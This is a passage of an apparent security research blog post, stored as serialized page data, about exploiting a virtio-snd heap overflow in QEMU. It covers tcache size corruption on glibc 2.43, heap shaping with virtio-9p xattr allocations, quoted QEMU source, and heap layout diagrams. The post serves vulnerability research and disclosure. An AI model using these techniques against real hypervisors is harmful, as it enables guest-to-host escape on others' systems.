s":134418,"children":134419},{"style":346},[134420],{"type":29,"value":134421}," (p), p);",{"type":24,"tag":327,"props":134423,"children":134424},{"style":551},[134425],{"type":29,"value":134426},"             // [1]\n",{"type":24,"tag":327,"props":134428,"children":134429},{"class":329,"line":1026},[134430],{"type":24,"tag":327,"props":134431,"children":134432},{"emptyLinePlaceholder":16},[134433],{"type":29,"value":544},{"type":24,"tag":327,"props":134435,"children":134436},{"class":329,"line":1048},[134437,134441],{"type":24,"tag":327,"props":134438,"children":134439},{"style":425},[134440],{"type":29,"value":134106},{"type":24,"tag":327,"props":134442,"children":134443},{"style":340},[134444],{"type":29,"value":134111},{"type":24,"tag":327,"props":134446,"children":134447},{"class":329,"line":1067},[134448,134452,134456,134460,134464,134468,134472,134476,134480,134484,134489,134493,134498],{"type":24,"tag":327,"props":134449,"children":134450},{"style":425},[134451],{"type":29,"value":38104},{"type":24,"tag":327,"props":134453,"children":134454},{"style":346},[134455],{"type":29,"value":5894},{"type":24,"tag":327,"props":134457,"children":134458},{"style":340},[134459],{"type":29,"value":134127},{"type":24,"tag":327,"props":134461,"children":134462},{"style":346},[134463],{"type":29,"value":133798},{"type":24,"tag":327,"props":134465,"children":134466},{"style":381},[134467],{"type":29,"value":1596},{"type":24,"tag":327,"props":134469,"children":134470},{"style":356},[134471],{"type":29,"value":134140},{"type":24,"tag":327,"props":134473,"children":134474},{"style":346},[134475],{"type":29,"value":66},{"type":24,"tag":327,"props":134477,"children":134478},{"style":356},[134479],{"type":29,"value":134149},{"type":24,"tag":327,"props":134481,"children":134482},{"style":381},[134483],{"type":29,"value":21717},{"type":24,"tag":327,"props":134485,"children":134486},{"style":346},[134487],{"type":29,"value":134488}," tcache ",{"type":24,"tag":327,"props":134490,"children":134491},{"style":381},[134492],{"type":29,"value":573},{"type":24,"tag":327,"props":134494,"children":134495},{"style":334},[134496],{"type":29,"value":134497}," NULL",{"type":24,"tag":327,"props":134499,"children":134500},{"style":346},[134501],{"type":29,"value":1045},{"type":24,"tag":327,"props":134503,"children":134504},{"class":329,"line":1075},[134505],{"type":24,"tag":327,"props":134506,"children":134507},{"style":346},[134508],{"type":29,"value":133880},{"type":24,"tag":25,"props":134510,"children":134511},{},[134512,134514,134519],{"type":29,"value":134513},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":24,"tag":284,"props":134515,"children":134517},{"className":134516},[],[134518],{"type":29,"value":130987},{"type":29,"value":134520},", because on the latest 2.43 glibc they are non-existent.",{"type":24,"tag":68,"props":134522,"children":134523},{},[],{"type":24,"tag":25,"props":134525,"children":134526},{},[134527,134529,134534,134536,134542,134544,134549,134551,134557],{"type":29,"value":134528},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":24,"tag":284,"props":134530,"children":134532},{"className":134531},[],[134533],{"type":29,"value":130987},{"type":29,"value":134535}," field was initially ",{"type":24,"tag":284,"props":134537,"children":134539},{"className":134538},[],[134540],{"type":29,"value":134541},"0x200",{"type":29,"value":134543},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":24,"tag":284,"props":134545,"children":134547},{"className":134546},[],[134548],{"type":29,"value":133164},{"type":29,"value":134550},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":24,"tag":284,"props":134552,"children":134554},{"className":134553},[],[134555],{"type":29,"value":134556},"[0x210, 0x2f0]",{"type":29,"value":134558},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":24,"tag":25,"props":134560,"children":134561},{},[134562],{"type":29,"value":134563},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":24,"tag":235,"props":134565,"children":134567},{"id":134566},"heap-spraying",[134568],{"type":29,"value":134569},"Heap Spraying",{"type":24,"tag":25,"props":134571,"children":134572},{},[134573,134575,134580],{"type":29,"value":134574},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":24,"tag":284,"props":134576,"children":134578},{"className":134577},[],[134579],{"type":29,"value":134541},{"type":29,"value":134581},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":24,"tag":25,"props":134583,"children":134584},{},[134585,134587,134592],{"type":29,"value":134586},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":24,"tag":284,"props":134588,"children":134590},{"className":134589},[],[134591],{"type":29,"value":131182},{"type":29,"value":134593}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":24,"tag":25,"props":134595,"children":134596},{},[134597],{"type":29,"value":134598},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":24,"tag":168,"props":134600,"children":134602},{"id":134601},"virtio-9p",[134603],{"type":29,"value":134601},{"type":24,"tag":25,"props":134605,"children":134606},{},[134607,134612],{"type":24,"tag":284,"props":134608,"children":134610},{"className":134609},[],[134611],{"type":29,"value":134601},{"type":29,"value":134613}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":24,"tag":25,"props":134615,"children":134616},{},[134617,134619,134625,134627,134633,134634,134640,134642,134647],{"type":29,"value":134618},"Through a ",{"type":24,"tag":284,"props":134620,"children":134622},{"className":134621},[],[134623],{"type":29,"value":134624},"P9_TXATTRCREATE",{"type":29,"value":134626}," request, we can allocate host-side buffers for both the ",{"type":24,"tag":284,"props":134628,"children":134630},{"className":134629},[],[134631],{"type":29,"value":134632},".name",{"type":29,"value":1323},{"type":24,"tag":284,"props":134635,"children":134637},{"className":134636},[],[134638],{"type":29,"value":134639},".value",{"type":29,"value":134641}," fields, with the size of ",{"type":24,"tag":284,"props":134643,"children":134645},{"className":134644},[],[134646],{"type":29,"value":134639},{"type":29,"value":134648}," being directly controlled by the guest.",{"type":24,"tag":317,"props":134650,"children":134652},{"code":134651,"language":320,"meta":7,"className":321,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    int flags, rflags = 0;\n    int32_t fid;\n    uint64_t size;\n    ssize_t err = 0;\n    V9fsString name;\n    size_t offset = 7;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n    V9fsPDU *pdu = opaque;\n\n    v9fs_string_init(&name);\n    err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n    if (err \u003C 0) {\n        goto out_nofid;\n    }\n\n    [...]\n\n    if (size > P9_XATTR_SIZE_MAX) {\n        err = -E2BIG;\n        goto out_nofid;\n    }\n\n    [...]\n\n    v9fs_string_init(&xattr_fidp->fs.xattr.name);\n    v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[134653],{"type":24,"tag":284,"props":134654,"children":134655},{"__ignoreMap":7},[134656,134698,134705,134729,134742,134753,134778,134786,134811,134828,134844,134870,134877,134898,134964,134988,135001,135008,135015,135022,135029,135049,135070,135081,135088,135095,135102,135109,135158,135214,135259],{"type":24,"tag":327,"props":134657,"children":134658},{"class":329,"line":330},[134659,134663,134667,134672,134677,134681,134685,134689,134694],{"type":24,"tag":327,"props":134660,"children":134661},{"style":334},[134662],{"type":29,"value":57765},{"type":24,"tag":327,"props":134664,"children":134665},{"style":334},[134666],{"type":29,"value":57770},{"type":24,"tag":327,"props":134668,"children":134669},{"style":346},[134670],{"type":29,"value":134671}," coroutine_fn ",{"type":24,"tag":327,"props":134673,"children":134674},{"style":340},[134675],{"type":29,"value":134676},"v9fs_xattrcreate",{"type":24,"tag":327,"props":134678,"children":134679},{"style":346},[134680],{"type":29,"value":349},{"type":24,"tag":327,"props":134682,"children":134683},{"style":334},[134684],{"type":29,"value":58348},{"type":24,"tag":327,"props":134686,"children":134687},{"style":381},[134688],{"type":29,"value":17364},{"type":24,"tag":327,"props":134690,"children":134691},{"style":356},[134692],{"type":29,"value":134693},"opaque",{"type":24,"tag":327,"props":134695,"children":134696},{"style":346},[134697],{"type":29,"value":852},{"type":24,"tag":327,"props":134699,"children":134700},{"class":329,"line":367},[134701],{"type":24,"tag":327,"props":134702,"children":134703},{"style":346},[134704],{"type":29,"value":18427},{"type":24,"tag":327,"props":134706,"children":134707},{"class":329,"line":408},[134708,134712,134717,134721,134725],{"type":24,"tag":327,"props":134709,"children":134710},{"style":334},[134711],{"type":29,"value":373},{"type":24,"tag":327,"props":134713,"children":134714},{"style":346},[134715],{"type":29,"value":134716}," flags, rflags ",{"type":24,"tag":327,"props":134718,"children":134719},{"style":381},[134720],{"type":29,"value":384},{"type":24,"tag":327,"props":134722,"children":134723},{"style":397},[134724],{"type":29,"value":6695},{"type":24,"tag":327,"props":134726,"children":134727},{"style":346},[134728],{"type":29,"value":405},{"type":24,"tag":327,"props":134730,"children":134731},{"class":329,"line":421},[134732,134737],{"type":24,"tag":327,"props":134733,"children":134734},{"style":334},[134735],{"type":29,"value":134736},"    int32_t",{"type":24,"tag":327,"props":134738,"children":134739},{"style":346},[134740],{"type":29,"value":134741}," fid;\n",{"type":24,"tag":327,"props":134743,"children":134744},{"class":329,"line":450},[134745,134749],{"type":24,"tag":327,"props":134746,"children":134747},{"style":334},[134748],{"type":29,"value":62334},{"type":24,"tag":327,"props":134750,"children":134751},{"style":346},[134752],{"type":29,"value":131329},{"type":24,"tag":327,"props":134754,"children":134755},{"class":329,"line":481},[134756,134761,134766,134770,134774],{"type":24,"tag":327,"props":134757,"children":134758},{"style":334},[134759],{"type":29,"value":134760},"    ssize_t",{"type":24,"tag":327,"props":134762,"children":134763},{"style":346},[134764],{"type":29,"value":134765}," err ",{"type":24,"tag":327,"props":134767,"children":134768},{"style":381},[134769],{"type":29,"value":384},{"type":24,"tag":327,"props":134771,"children":134772},{"style":397},[134773],{"type":29,"value":6695},{"type":24,"tag":327,"props":134775,"children":134776},{"style":346},[134777],{"type":29,"value":405},{"type":24,"tag":327,"props":134779,"children":134780},{"class":329,"line":500},[134781],{"type":24,"tag":327,"props":134782,"children":134783},{"style":346},[134784],{"type":29,"value":134785},"    V9fsString name;\n",{"type":24,"tag":327,"props":134787,"children":134788},{"class":329,"line":529},[134789,134793,134798,134802,134807],{"type":24,"tag":327,"props":134790,"children":134791},{"style":334},[134792],{"type":29,"value":24079},{"type":24,"tag":327,"props":134794,"children":134795},{"style":346},[134796],{"type":29,"value":134797}," offset ",{"type":24,"tag":327,"props":134799,"children":134800},{"style":381},[134801],{"type":29,"value":384},{"type":24,"tag":327,"props":134803,"children":134804},{"style":397},[134805],{"type":29,"value":134806}," 7",{"type":24,"tag":327,"props":134808,"children":134809},{"style":346},[134810],{"type":29,"value":405},{"type":24,"tag":327,"props":134812,"children":134813},{"class":329,"line":538},[134814,134819,134823],{"type":24,"tag":327,"props":134815,"children":134816},{"style":346},[134817],{"type":29,"value":134818},"    V9fsFidState ",{"type":24,"tag":327,"props":134820,"children":134821},{"style":381},[134822],{"type":29,"value":469},{"type":24,"tag":327,"props":134824,"children":134825},{"style":346},[134826],{"type":29,"value":134827},"file_fidp;\n",{"type":24,"tag":327,"props":134829,"children":134830},{"class":329,"line":547},[134831,134835,134839],{"type":24,"tag":327,"props":134832,"children":134833},{"style":346},[134834],{"type":29,"value":134818},{"type":24,"tag":327,"props":134836,"children":134837},{"style":381},[134838],{"type":29,"value":469},{"type":24,"tag":327,"props":134840,"children":134841},{"style":346},[134842],{"type":29,"value":134843},"xattr_fidp;\n",{"type":24,"tag":327,"props":134845,"children":134846},{"class":329,"line":557},[134847,134852,134856,134861,134865],{"type":24,"tag":327,"props":134848,"children":134849},{"style":346},[134850],{"type":29,"value":134851},"    V9fsPDU ",{"type":24,"tag":327,"props":134853,"children":134854},{"style":381},[134855],{"type":29,"value":469},{"type":24,"tag":327,"props":134857,"children":134858},{"style":346},[134859],{"type":29,"value":134860},"pdu ",{"type":24,"tag":327,"props":134862,"children":134863},{"style":381},[134864],{"type":29,"value":384},{"type":24,"tag":327,"props":134866,"children":134867},{"style":346},[134868],{"type":29,"value":134869}," opaque;\n",{"type":24,"tag":327,"props":134871,"children":134872},{"class":329,"line":586},[134873],{"type":24,"tag":327,"props":134874,"children":134875},{"emptyLinePlaceholder":16},[134876],{"type":29,"value":544},{"type":24,"tag":327,"props":134878,"children":134879},{"class":329,"line":1017},[134880,134885,134889,134893],{"type":24,"tag":327,"props":134881,"children":134882},{"style":340},[134883],{"type":29,"value":134884},"    v9fs_string_init",{"type":24,"tag":327,"props":134886,"children":134887},{"style":346},[134888],{"type":29,"value":349},{"type":24,"tag":327,"props":134890,"children":134891},{"style":381},[134892],{"type":29,"value":8716},{"type":24,"tag":327,"props":134894,"children":134895},{"style":346},[134896],{"type":29,"value":134897},"name);\n",{"type":24,"tag":327,"props":134899,"children":134900},{"class":329,"line":1026},[134901,134906,134910,134915,134920,134925,134929,134933,134938,134942,134947,134951,134955,134959],{"type":24,"tag":327,"props":134902,"children":134903},{"style":346},[134904],{"type":29,"value":134905},"    err ",{"type":24,"tag":327,"props":134907,"children":134908},{"style":381},[134909],{"type":29,"value":384},{"type":24,"tag":327,"props":134911,"children":134912},{"style":340},[134913],{"type":29,"value":134914}," pdu_unmarshal",{"type":24,"tag":327,"props":134916,"children":134917},{"style":346},[134918],{"type":29,"value":134919},"(pdu, offset, ",{"type":24,"tag":327,"props":134921,"children":134922},{"style":844},[134923],{"type":29,"value":134924},"\"dsqd\"",{"type":24,"tag":327,"props":134926,"children":134927},{"style":346},[134928],{"type":29,"value":2744},{"type":24,"tag":327,"props":134930,"children":134931},{"style":381},[134932],{"type":29,"value":8716},{"type":24,"tag":327,"props":134934,"children":134935},{"style":346},[134936],{"type":29,"value":134937},"fid, ",{"type":24,"tag":327,"props":134939,"children":134940},{"style":381},[134941],{"type":29,"value":8716},{"type":24,"tag":327,"props":134943,"children":134944},{"style":346},[134945],{"type":29,"value":134946},"name, ",{"type":24,"tag":327,"props":134948,"children":134949},{"style":381},[134950],{"type":29,"value":8716},{"type":24,"tag":327,"props":134952,"children":134953},{"style":346},[134954],{"type":29,"value":133697},{"type":24,"tag":327,"props":134956,"children":134957},{"style":381},[134958],{"type":29,"value":8716},{"type":24,"tag":327,"props":134960,"children":134961},{"style":346},[134962],{"type":29,"value":134963},"flags);\n",{"type":24,"tag":327,"props":134965,"children":134966},{"class":329,"line":1048},[134967,134971,134976,134980,134984],{"type":24,"tag":327,"props":134968,"children":134969},{"style":425},[134970],{"type":29,"value":428},{"type":24,"tag":327,"props":134972,"children":134973},{"style":346},[134974],{"type":29,"value":134975}," (err ",{"type":24,"tag":327,"props":134977,"children":134978},{"style":381},[134979],{"type":29,"value":1596},{"type":24,"tag":327,"props":134981,"children":134982},{"style":397},[134983],{"type":29,"value":6695},{"type":24,"tag":327,"props":134985,"children":134986},{"style":346},[134987],{"type":29,"value":364},{"type":24,"tag":327,"props":134989,"children":134990},{"class":329,"line":1067},[134991,134996],{"type":24,"tag":327,"props":134992,"children":134993},{"style":425},[134994],{"type":29,"value":134995},"        goto",{"type":24,"tag":327,"props":134997,"children":134998},{"style":346},[134999],{"type":29,"value":135000}," out_nofid;\n",{"type":24,"tag":327,"props":135002,"children":135003},{"class":329,"line":1075},[135004],{"type":24,"tag":327,"props":135005,"children":135006},{"style":346},[135007],{"type":29,"value":535},{"type":24,"tag":327,"props":135009,"children":135010},{"class":329,"line":1084},[135011],{"type":24,"tag":327,"props":135012,"children":135013},{"emptyLinePlaceholder":16},[135014],{"type":29,"value":544},{"type":24,"tag":327,"props":135016,"children":135017},{"class":329,"line":1100},[135018],{"type":24,"tag":327,"props":135019,"children":135020},{"style":346},[135021],{"type":29,"value":111528},{"type":24,"tag":327,"props":135023,"children":135024},{"class":329,"line":1128},[135025],{"type":24,"tag":327,"props":135026,"children":135027},{"emptyLinePlaceholder":16},[135028],{"type":29,"value":544},{"type":24,"tag":327,"props":135030,"children":135031},{"class":329,"line":1148},[135032,135036,135040,135044],{"type":24,"tag":327,"props":135033,"children":135034},{"style":425},[135035],{"type":29,"value":428},{"type":24,"tag":327,"props":135037,"children":135038},{"style":346},[135039],{"type":29,"value":133798},{"type":24,"tag":327,"props":135041,"children":135042},{"style":381},[135043],{"type":29,"value":438},{"type":24,"tag":327,"props":135045,"children":135046},{"style":346},[135047],{"type":29,"value":135048}," P9_XATTR_SIZE_MAX) {\n",{"type":24,"tag":327,"props":135050,"children":135051},{"class":329,"line":1176},[135052,135057,135061,135065],{"type":24,"tag":327,"props":135053,"children":135054},{"style":346},[135055],{"type":29,"value":135056},"        err ",{"type":24,"tag":327,"props":135058,"children":135059},{"style":381},[135060],{"type":29,"value":384},{"type":24,"tag":327,"props":135062,"children":135063},{"style":381},[135064],{"type":29,"value":57976},{"type":24,"tag":327,"props":135066,"children":135067},{"style":346},[135068],{"type":29,"value":135069},"E2BIG;\n",{"type":24,"tag":327,"props":135071,"children":135072},{"class":329,"line":1184},[135073,135077],{"type":24,"tag":327,"props":135074,"children":135075},{"style":425},[135076],{"type":29,"value":134995},{"type":24,"tag":327,"props":135078,"children":135079},{"style":346},[135080],{"type":29,"value":135000},{"type":24,"tag":327,"props":135082,"children":135083},{"class":329,"line":1192},[135084],{"type":24,"tag":327,"props":135085,"children":135086},{"style":346},[135087],{"type":29,"value":535},{"type":24,"tag":327,"props":135089,"children":135090},{"class":329,"line":1212},[135091],{"type":24,"tag":327,"props":135092,"children":135093},{"emptyLinePlaceholder":16},[135094],{"type":29,"value":544},{"type":24,"tag":327,"props":135096,"children":135097},{"class":329,"line":4841},[135098],{"type":24,"tag":327,"props":135099,"children":135100},{"style":346},[135101],{"type":29,"value":111528},{"type":24,"tag":327,"props":135103,"children":135104},{"class":329,"line":4862},[135105],{"type":24,"tag":327,"props":135106,"children":135107},{"emptyLinePlaceholder":16},[135108],{"type":29,"value":544},{"type":24,"tag":327,"props":135110,"children":135111},{"class":329,"line":4870},[135112,135116,135120,135124,135129,135133,135137,135141,135146,135150,135154],{"type":24,"tag":327,"props":135113,"children":135114},{"style":340},[135115],{"type":29,"value":134884},{"type":24,"tag":327,"props":135117,"children":135118},{"style":346},[135119],{"type":29,"value":349},{"type":24,"tag":327,"props":135121,"children":135122},{"style":381},[135123],{"type":29,"value":8716},{"type":24,"tag":327,"props":135125,"children":135126},{"style":356},[135127],{"type":29,"value":135128},"xattr_fidp",{"type":24,"tag":327,"props":135130,"children":135131},{"style":346},[135132],{"type":29,"value":1679},{"type":24,"tag":327,"props":135134,"children":135135},{"style":356},[135136],{"type":29,"value":43695},{"type":24,"tag":327,"props":135138,"children":135139},{"style":346},[135140],{"type":29,"value":66},{"type":24,"tag":327,"props":135142,"children":135143},{"style":356},[135144],{"type":29,"value":135145},"xattr",{"type":24,"tag":327,"props":135147,"children":135148},{"style":346},[135149],{"type":29,"value":66},{"type":24,"tag":327,"props":135151,"children":135152},{"style":356},[135153],{"type":29,"value":55218},{"type":24,"tag":327,"props":135155,"children":135156},{"style":346},[135157],{"type":29,"value":583},{"type":24,"tag":327,"props":135159,"children":135160},{"class":329,"line":4879},[135161,135166,135170,135174,135178,135182,135186,135190,135194,135198,135202,135206,135210],{"type":24,"tag":327,"props":135162,"children":135163},{"style":340},[135164],{"type":29,"value":135165},"    v9fs_string_copy",{"type":24,"tag":327,"props":135167,"children":135168},{"style":346},[135169],{"type":29,"value":349},{"type":24,"tag":327,"props":135171,"children":135172},{"style":381},[135173],{"type":29,"value":8716},{"type":24,"tag":327,"props":135175,"children":135176},{"style":356},[135177],{"type":29,"value":135128},{"type":24,"tag":327,"props":135179,"children":135180},{"style":346},[135181],{"type":29,"value":1679},{"type":24,"tag":327,"props":135183,"children":135184},{"style":356},[135185],{"type":29,"value":43695},{"type":24,"tag":327,"props":135187,"children":135188},{"style":346},[135189],{"type":29,"value":66},{"type":24,"tag":327,"props":135191,"children":135192},{"style":356},[135193],{"type":29,"value":135145},{"type":24,"tag":327,"props":135195,"children":135196},{"style":346},[135197],{"type":29,"value":66},{"type":24,"tag":327,"props":135199,"children":135200},{"style":356},[135201],{"type":29,"value":55218},{"type":24,"tag":327,"props":135203,"children":135204},{"style":346},[135205],{"type":29,"value":2744},{"type":24,"tag":327,"props":135207,"children":135208},{"style":381},[135209],{"type":29,"value":8716},{"type":24,"tag":327,"props":135211,"children":135212},{"style":346},[135213],{"type":29,"value":134897},{"type":24,"tag":327,"props":135215,"children":135216},{"class":329,"line":4913},[135217,135222,135226,135230,135234,135238,135242,135246,135250,135254],{"type":24,"tag":327,"props":135218,"children":135219},{"style":356},[135220],{"type":29,"value":135221},"    xattr_fidp",{"type":24,"tag":327,"props":135223,"children":135224},{"style":346},[135225],{"type":29,"value":1679},{"type":24,"tag":327,"props":135227,"children":135228},{"style":356},[135229],{"type":29,"value":43695},{"type":24,"tag":327,"props":135231,"children":135232},{"style":346},[135233],{"type":29,"value":66},{"type":24,"tag":327,"props":135235,"children":135236},{"style":356},[135237],{"type":29,"value":135145},{"type":24,"tag":327,"props":135239,"children":135240},{"style":346},[135241],{"type":29,"value":66},{"type":24,"tag":327,"props":135243,"children":135244},{"style":356},[135245],{"type":29,"value":45865},{"type":24,"tag":327,"props":135247,"children":135248},{"style":381},[135249],{"type":29,"value":4809},{"type":24,"tag":327,"props":135251,"children":135252},{"style":340},[135253],{"type":29,"value":130900},{"type":24,"tag":327,"props":135255,"children":135256},{"style":346},[135257],{"type":29,"value":135258},"(size);\n",{"type":24,"tag":327,"props":135260,"children":135261},{"class":329,"line":4938},[135262],{"type":24,"tag":327,"props":135263,"children":135264},{"style":346},[135265],{"type":29,"value":592},{"type":24,"tag":25,"props":135267,"children":135268},{},[135269,135271,135276,135278,135283,135284,135289,135291,135296],{"type":29,"value":135270},"Because the ",{"type":24,"tag":284,"props":135272,"children":135274},{"className":135273},[],[135275],{"type":29,"value":134632},{"type":29,"value":135277}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":24,"tag":284,"props":135279,"children":135281},{"className":135280},[],[135282],{"type":29,"value":134632},{"type":29,"value":1323},{"type":24,"tag":284,"props":135285,"children":135287},{"className":135286},[],[135288],{"type":29,"value":134639},{"type":29,"value":135290},", not just the ",{"type":24,"tag":284,"props":135292,"children":135294},{"className":135293},[],[135295],{"type":29,"value":134639},{"type":29,"value":135297}," we actually care about. But we will get around this later in the blog post.",{"type":24,"tag":25,"props":135299,"children":135300},{},[135301,135302,135307],{"type":29,"value":1713},{"type":24,"tag":284,"props":135303,"children":135305},{"className":135304},[],[135306],{"type":29,"value":134639},{"type":29,"value":135308}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":24,"tag":25,"props":135310,"children":135311},{},[135312,135314,135319,135321,135327,135329,135335,135337,135343],{"type":29,"value":135313},"Once allocated, we can write arbitrary bytes into the ",{"type":24,"tag":284,"props":135315,"children":135317},{"className":135316},[],[135318],{"type":29,"value":134639},{"type":29,"value":135320}," buffer through a ",{"type":24,"tag":284,"props":135322,"children":135324},{"className":135323},[],[135325],{"type":29,"value":135326},"P9_TWRITE",{"type":29,"value":135328}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":24,"tag":284,"props":135330,"children":135332},{"className":135331},[],[135333],{"type":29,"value":135334},"P9_TREAD",{"type":29,"value":135336},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":24,"tag":284,"props":135338,"children":135340},{"className":135339},[],[135341],{"type":29,"value":135342},"P9_TCLUNK",{"type":29,"value":135344}," request on that same FID.",{"type":24,"tag":25,"props":135346,"children":135347},{},[135348,135350,135356],{"type":29,"value":135349},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":24,"tag":284,"props":135351,"children":135353},{"className":135352},[],[135354],{"type":29,"value":135355},"65536",{"type":29,"value":135357}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":24,"tag":235,"props":135359,"children":135361},{"id":135360},"setting-the-heap-layout",[135362],{"type":29,"value":135363},"Setting the Heap Layout",{"type":24,"tag":25,"props":135365,"children":135366},{},[135367,135369,135374],{"type":29,"value":135368},"Ideally, we want a contiguous heap region consisting only of ",{"type":24,"tag":284,"props":135370,"children":135372},{"className":135371},[],[135373],{"type":29,"value":134639},{"type":29,"value":135375}," allocations, like this:",{"type":24,"tag":317,"props":135377,"children":135379},{"code":135378},"   0x200      0x200      0x200      0x200      0x200\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value B | .value C | .value D | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[135380],{"type":24,"tag":284,"props":135381,"children":135382},{"__ignoreMap":7},[135383],{"type":29,"value":135378},{"type":24,"tag":25,"props":135385,"children":135386},{},[135387,135389,135394,135396,135401,135403,135408],{"type":29,"value":135388},"This lets us later create holes by freeing every other ",{"type":24,"tag":284,"props":135390,"children":135392},{"className":135391},[],[135393],{"type":29,"value":134639},{"type":29,"value":135395}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":24,"tag":284,"props":135397,"children":135399},{"className":135398},[],[135400],{"type":29,"value":130987},{"type":29,"value":135402}," field of the next live ",{"type":24,"tag":284,"props":135404,"children":135406},{"className":135405},[],[135407],{"type":29,"value":134639},{"type":29,"value":135409}," chunk.",{"type":24,"tag":25,"props":135411,"children":135412},{},[135413],{"type":29,"value":135414},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":24,"tag":25,"props":135416,"children":135417},{},[135418,135420,135425,135427,135432,135434,135439,135441,135446],{"type":29,"value":135419},"As mentioned earlier, ",{"type":24,"tag":284,"props":135421,"children":135423},{"className":135422},[],[135424],{"type":29,"value":134676},{"type":29,"value":135426}," always allocates two chunks: one for ",{"type":24,"tag":284,"props":135428,"children":135430},{"className":135429},[],[135431],{"type":29,"value":134632},{"type":29,"value":135433}," and one for ",{"type":24,"tag":284,"props":135435,"children":135437},{"className":135436},[],[135438],{"type":29,"value":134639},{"type":29,"value":135440},". We want to avoid having ",{"type":24,"tag":284,"props":135442,"children":135444},{"className":135443},[],[135445],{"type":29,"value":134632},{"type":29,"value":135447}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":24,"tag":175,"props":135449,"children":135450},{},[135451,135463],{"type":24,"tag":179,"props":135452,"children":135453},{},[135454,135456,135461],{"type":29,"value":135455},"Make ",{"type":24,"tag":284,"props":135457,"children":135459},{"className":135458},[],[135460],{"type":29,"value":134632},{"type":29,"value":135462}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":24,"tag":179,"props":135464,"children":135465},{},[135466,135468,135473,135475,135480,135482,135487],{"type":29,"value":135467},"Prepare a separate region whose sole purpose is to absorb ",{"type":24,"tag":284,"props":135469,"children":135471},{"className":135470},[],[135472],{"type":29,"value":134632},{"type":29,"value":135474},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":24,"tag":284,"props":135476,"children":135478},{"className":135477},[],[135479],{"type":29,"value":134632},{"type":29,"value":135481}," allocations from that separate freelist instead of placing them next to our ",{"type":24,"tag":284,"props":135483,"children":135485},{"className":135484},[],[135486],{"type":29,"value":134639},{"type":29,"value":135488}," chunks.",{"type":24,"tag":168,"props":135490,"children":135492},{"id":135491},"separating-name-allocations",[135493],{"type":29,"value":135494},"Separating .name allocations",{"type":24,"tag":25,"props":135496,"children":135497},{},[135498,135500,135505,135507,135512],{"type":29,"value":135499},"We chose the second option. However, it is not as simple as issuing ",{"type":24,"tag":284,"props":135501,"children":135503},{"className":135502},[],[135504],{"type":29,"value":134676},{"type":29,"value":135506}," for N ",{"type":24,"tag":284,"props":135508,"children":135510},{"className":135509},[],[135511],{"type":29,"value":134632},{"type":29,"value":135513},"-sized allocations and then freeing them.",{"type":24,"tag":25,"props":135515,"children":135516},{},[135517,135519,135524,135525,135530,135531,135536,135538,135543,135545,135550],{"type":29,"value":135518},"At this point, we already know that ",{"type":24,"tag":284,"props":135520,"children":135522},{"className":135521},[],[135523],{"type":29,"value":134676},{"type":29,"value":135426},{"type":24,"tag":284,"props":135526,"children":135528},{"className":135527},[],[135529],{"type":29,"value":134632},{"type":29,"value":135433},{"type":24,"tag":284,"props":135532,"children":135534},{"className":135533},[],[135535],{"type":29,"value":134639},{"type":29,"value":135537},". If we simply call it with ",{"type":24,"tag":284,"props":135539,"children":135541},{"className":135540},[],[135542],{"type":29,"value":134639},{"type":29,"value":135544}," sized the same as ",{"type":24,"tag":284,"props":135546,"children":135548},{"className":135547},[],[135549],{"type":29,"value":134632},{"type":29,"value":135551},", we get a layout like this:",{"type":24,"tag":317,"props":135553,"children":135555},{"code":135554},"    0x20       0x20       0x20       0x20       0x20\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .name  A | .value A | .name  B | .value B | .name  C |\n|          |          |          |          |          